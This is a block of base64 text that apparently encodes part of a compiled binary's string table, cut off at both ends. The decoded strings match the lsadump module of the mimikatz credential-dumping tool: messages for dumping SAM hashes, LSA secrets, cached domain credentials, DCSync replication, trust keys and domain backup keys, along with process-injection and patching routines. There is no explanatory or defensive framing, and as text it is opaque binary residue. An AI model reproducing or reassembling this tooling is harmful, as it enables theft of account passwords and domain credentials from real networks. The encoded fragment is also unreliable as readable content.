QB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABrAGkAdwBpAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMARQBDAFUAUgBJAFQAWQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBFAEMAVQBSAEkAVABZAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAdQByAHIAZQBuAHQAAABEAGUAZgBhAHUAbAB0AAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAFMAawBlAHcAMQAAAEcAQgBHAAAARABhAHQAYQAAAAAAJQB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAUwB5AHMASwBlAHkAIAA6ACAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFYAAABMAG8AYwBhAGwAIABTAEkARAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAgAEEAYwBjAG8AdQBuAHQAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAFQATABNAAAAAABMAE0AIAAgAAAAAAAlAHMAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAASwBPAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABfAF8ARABtAE4AAAAAAFAAbwBsAF8AXwBEAG0AUwAAAAAAJQBzACAAbgBhAG0AZQAgADoAIAAAAAAAIAAoAAAAAAApAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAARABvAG0AYQBpAG4AAAAAAFAAcgAAAAAAUABvAGwAUgBlAHYAaQBzAGkAbwBuAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAACAAIABbACUAMAAyAHUAXQAgAAAAIAAAAEwAUwBBACAASwBlAHkAIAA6ACAAAAAAAFMAZQBjAHIAZQB0AHMAAABzAGUAcgB2AGkAYwBlAHMAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAABfAFMAQwBfAAAAAABDAHUAcgByAFYAYQBsAAAACgBjAHUAcgAvAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAQwBhAGMAaABlAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACoAIABJAHQAZQByAGEAdABpAG8AbgAgAGkAcwAgAHMAZQB0ACAAdABvACAAZABlAGYAYQB1AGwAdAAgACgAMQAwADIANAAwACkACgAAAAAATgBMACQAQwBvAG4AdAByAG8AbAAAAAAACgBbACUAcwAgAC0AIAAAAF0ACgBSAEkARAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAA+ACAASwBpAHcAaQAgAG0AbwBkAGUALgAuAC4ACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMgAgADoAIAAAAAAAIAAgAEMAaABlAGMAawBzAHUAbQAgACAAOgAgAAAAAAA+ACAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAATQBzAEMAYQBjAGgAZQBWADEAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAABWaXJ0dWFsQWxsb2MAAAAATG9jYWxGcmVlAAAAbWVtY3B5AABwAGEAdABjAGgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGkAbgBqAGUAYwB0AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAAE4ATwBOAEUAIAAgACAAAABOAFQANABPAFcARgAgAAAAQwBMAEUAQQBSACAAIAAAAFYARQBSAFMASQBPAE4AAAAgAFsAJQBzAF0AIAAlAHcAWgAgAC0APgAgACUAdwBaAAoAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAgAC0AIAAlAHMAIAAtACAAAAAAAC0AIAAlAHUAIAAtACAAAABsAHMAYQBkAGIALgBkAGwAbAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAACgBEAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAIAAgAEkAbgAgAAAAIABPAHUAdAAgAAAAIABJAG4ALQAxAAAATwB1AHQALQAxAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAFEAdQBlAHIAeQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAEkAbgBmAG8AQgB5AE4AYQBtAGUAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBFAG4AdQBtAGUAcgBhAHQAZQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAHMARQB4ACAAJQAwADgAeAAKAAAAIAAgACoAIABSAFMAQQAgAGsAZQB5AAoAAAAAAG4AdABkAHMAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAACAAIAAqACAATABlAGcAYQBjAHkAIABrAGUAeQAKAAAAawBlAHkAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGcAdQBpAGQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkAGUAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAGsAZABjAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAoAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAUgBTAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzACwAIABpAG4AdgBhAGwAaQBkACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBo